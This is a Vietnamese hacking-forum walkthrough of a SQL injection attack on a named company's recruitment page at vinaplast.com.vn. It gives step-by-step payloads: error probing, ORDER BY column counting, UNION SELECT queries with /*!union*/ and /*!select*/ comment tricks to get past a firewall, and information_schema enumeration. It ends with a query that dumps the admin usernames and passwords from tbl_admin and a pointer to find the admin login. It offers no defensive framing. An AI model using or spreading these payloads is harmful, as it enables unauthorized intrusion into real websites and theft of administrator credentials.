Khai thác vinaplast.com.vn

http://www.vinaplast.com.vn/htmls/re...tail.php?id=15 thêm ' nó báo lỗi and 1=1 and 1=0 >>lỗi Bây h order by nhé http://www.vinaplast.com.vn/htmls/re...tail.php?id=15 order by 1000-- - mà nó vẫn ko có ji, chứng tỏ nó bị ở đâu đó >>http://www.vinaplast.com.vn/htmls/re...tail.php?id=15' order by 1-- - vẫn ok Làm đến order by 7 là nó báo lỗi http://www.vinaplast.com.vn/htmls/re...tail.php?id=15' order by 7-- - Bắt đầu union http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union select 1,2,3,4,5,6-- - Xuất hiện: Forbidden You don't have permission to access /htmls/recruitment_detail.php on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. Thay union thành /*!union*/ http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' /*!union*/ select 1,2,3,4,5,6-- - Ra số 2 và 4 nhé: Thay vào số 2: version(),database(),user() để biết thông tin nhé Bước này mới quan trọng: Get table_name http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' /*!union*/ select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()-- - ui nó ko ra, lại xuất hiện lỗi Forbidden You don't have permission to access /htmls/recruitment_detail.php on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. Chú ý khai thác 1 tý: http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union /*!select*/ 1,concat_ws(0x7c,table_name),3,4,5,6 from information_schema./*!tables*/ where table_schema=database()-- - NÓ ra nhé: Ta thấy table: Lấy table :tbl_admin nhé Get colum tbl_admin đến hex: 74626c5f61646d696e >>tbl_admin=0x74626c5f61646d696e http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union /*!select*/ 1,concat_ws(0x7c,column_name),3,4,5,6 from information_schema./*!columns*/ where table_schema=database() and table_name=0x74626c5f61646d696e-- - admin_username admin_password Lấy 2 cái này thôi nhé  http://www.vinaplast.com.vn/htmls/re...ail.php?id=-15' union /*!select*/ 1,concat_ws(0x7c,admin_username,admin_password),3, 4,5,6 from tbl_admin-- - XOng ra kết quả- tìm link admin login thôi